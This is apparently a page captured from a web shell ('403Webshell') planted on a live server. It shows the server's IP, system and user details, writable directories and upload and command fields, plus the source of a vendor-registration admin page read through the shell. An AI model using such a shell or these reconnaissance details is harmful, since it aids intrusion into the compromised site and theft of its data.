403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/vendor-reg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/vendor-reg/vendor_details.php
<?php
// Start the session
session_start();

// Check if the user is logged in as an admin
if (!isset($_SESSION['admin_logged_in']) || $_SESSION['admin_logged_in'] !== true) {
    header("Location: admin_login.php"); // Redirect to login page if not logged in
    exit();
}

// Include the database configuration
include 'config.php';

// Get vendor ID from the query parameter
if (isset($_GET['id'])) {
    $vendor_id = $_GET['id'];
} else {
    // Redirect back to dashboard if no ID is passed
    header("Location: admin_dashboard.php");
    exit();
}

// Establish a database connection
$conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Fetch vendor details from the database
$sql = "SELECT * FROM vendors WHERE id = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $vendor_id);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) {
    $vendor = $result->fetch_assoc();
} else {
    // If no vendor is found, redirect to the dashboard
    header("Location: admin_dashboard.php");
    exit();
}

// Close the database connection
$stmt->close();
$conn->close();
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vendor Details</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #F5F5F5;
            color: #333333;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
        }
        .main-container {
            background-color: #FFFFFF;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 80%;
            max-width: 1200px;
        }
        h2 {
            text-align: center;
            color: #1E90FF;
        }
        .vendor-details {
            margin-top: 20px;
        }
        .vendor-details p {
            font-size: 18px;
        }
        .back-button {
            background-color: #1E90FF;
            color: white;
            padding: 10px 15px;
            text-decoration: none;
            border-radius: 5px;
            display: inline-block;
            margin-top: 20px;
        }
        .back-button:hover {
            background-color: #1C86EE;
        }
    </style>
</head>
<body>

    <div class="main-container">
        <h2>Vendor Details</h2>
        <div class="vendor-details">
            <p><strong>Name:</strong> <?php echo htmlspecialchars($vendor['name']); ?></p>
            <p><strong>Email:</strong> <?php echo htmlspecialchars($vendor['email']); ?></p>
            <p><strong>Phone:</strong> <?php echo htmlspecialchars($vendor['phone']); ?></p>
            <p><strong>Address:</strong> <?php echo htmlspecialchars($vendor['address']); ?></p>
            <p><strong>City:</strong> <?php echo htmlspecialchars($vendor['city']); ?></p>
            <p><strong>State:</strong> <?php echo htmlspecialchars($vendor['state']); ?></p>
            <p><strong>Zip Code:</strong> <?php echo htmlspecialchars($vendor['zip']); ?></p>
            <p><strong>Website:</strong> <a href="<?php echo htmlspecialchars($vendor['website']); ?>" target="_blank"><?php echo htmlspecialchars($vendor['website']); ?></a></p>
            <p><strong>Description of What You Sell:</strong> <?php echo htmlspecialchars($vendor['description']); ?></p>
            <p><strong>Category:</strong> <?php echo htmlspecialchars($vendor['category']); ?></p>
            <p><strong>Number of Spots:</strong> <?php echo htmlspecialchars($vendor['spots']); ?></p>
            <p><strong>Payment Status:</strong> 
                <?php 
                    if ($vendor['payment_status'] == 1) {
                        echo "Paid";
                    } elseif ($vendor['payment_status'] == 0) {
                        echo "Unpaid";
                    } elseif ($vendor['payment_status'] == 2) {
                        echo "Pending";
                    } else {
                        echo "Unknown";
                    }
                ?>
            </p>
        </div>

        <a href="admin_dashboard.php" class="back-button">Back to Dashboard</a>
    </div>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit